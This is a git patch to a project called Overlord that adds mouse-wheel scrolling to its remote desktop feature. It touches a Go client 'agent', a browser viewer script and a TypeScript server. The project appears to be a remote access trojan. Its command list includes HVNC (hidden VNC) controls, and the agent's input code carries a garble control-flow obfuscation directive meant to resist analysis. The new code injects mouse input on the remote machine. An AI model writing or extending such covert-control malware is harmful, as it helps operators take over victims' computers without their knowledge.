From 8c3c6de1c3f03ecdabea6d256f13941127154016 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 22 Apr 2026 16:15:53 -0500 Subject: [PATCH] add scroll wheel support to remote desktop --- Overlord-Client/cmd/agent/handlers/command.go | 16 ++++++++++++++++ Overlord-Client/cmd/agent/handlers/dispatcher.go | 2 +- .../cmd/agent/handlers/input_windows.go | 5 +++++ Overlord-Server/public/assets/remotedesktop.js | 8 ++++++++ Overlord-Server/src/server/ws-console-rd-hvnc.ts | 7 +++++++ 5 files changed, 37 insertions(+), 1 deletion(-) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index bb37f34..2de241d 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -888,6 +888,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendMouseUp(btn) sendCommandResultAsync(env, cmdID) return nil + case "desktop_mouse_wheel": + if !env.MouseControl { + sendCommandResultAsync(env, cmdID) + return nil + } + payload := payloadAsMap(envelope["payload"]) + delta, _ := payloadInt32(payload, "delta") + if x, okX := payloadInt32(payload, "x"); okX { + if y, okY := payloadInt32(payload, "y"); okY { + absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y) + setCursorPos(absX, absY) + } + } + sendMouseWheel(delta) + sendCommandResultAsync(env, cmdID) + return nil case "desktop_key_down": if !env.KeyboardControl { sendCommandResultAsync(env, cmdID) diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher.go b/Overlord-Client/cmd/agent/handlers/dispatcher.go index 8353405..ab159c8 100644 --- a/Overlord-Client/cmd/agent/handlers/dispatcher.go +++ b/Overlord-Client/cmd/agent/handlers/dispatcher.go @@ -44,7 +44,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface case "command": cmdType, _ := envelope["commandType"].(string) switch cmdType { - case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", + case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel", "desktop_key_down", "desktop_key_up", "desktop_text", "hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up", "hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up": diff --git a/Overlord-Client/cmd/agent/handlers/input_windows.go b/Overlord-Client/cmd/agent/handlers/input_windows.go index 20999b1..9eefedc 100644 --- a/Overlord-Client/cmd/agent/handlers/input_windows.go +++ b/Overlord-Client/cmd/agent/handlers/input_windows.go @@ -23,6 +23,7 @@ const ( MOUSEEVENTF_RIGHTUP = 0x0010 MOUSEEVENTF_MIDDLEDOWN = 0x0020 MOUSEEVENTF_MIDDLEUP = 0x0040 + MOUSEEVENTF_WHEEL = 0x0800 MOUSEEVENTF_ABSOLUTE = 0x8000 MOUSEEVENTF_VIRTUALDESK = 0x4000 @@ -97,6 +98,10 @@ func sendMouseUp(button int) { } } +func sendMouseWheel(delta int32) { + sendMouseInput(MOUSEEVENTF_WHEEL, uint32(delta)) +} + func sendMouseInput(flags uint32, mouseData uint32) { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 var inp input diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index b444ebe..5ff72d9 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -1318,6 +1318,14 @@ import { checkFeatureAccess } from "./feature-gate.js"; canvas.addEventListener("contextmenu", function (e) { e.preventDefault(); }); + canvas.addEventListener("wheel", function (e) { + if (!mouseCtrl.checked) return; + const pt = getCanvasPoint(e); + if (!pt) return; + const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY))); + sendCmd("mouse_wheel", { delta, x: pt.x, y: pt.y }); + e.preventDefault(); + }, { passive: false }); canvas.setAttribute("tabindex", "0"); canvas.addEventListener("click", function () { diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 71ffb78..4372587 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -497,6 +497,13 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket sendDesktopCommandWithId(target, "desktop_mouse_up", { button: Number(payload.button) || 0 }, commandId); break; } + case "mouse_wheel": { + if (!state.isStreaming) break; + const commandId = uuidv4(); + recordRdInput(commandId, clientId, "mouse_wheel"); + sendDesktopCommandWithId(target, "desktop_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number((payload as any).x) || 0, y: Number((payload as any).y) || 0 }, commandId); + break; + } case "key_down": { if (!state.isStreaming) break; const commandId = uuidv4();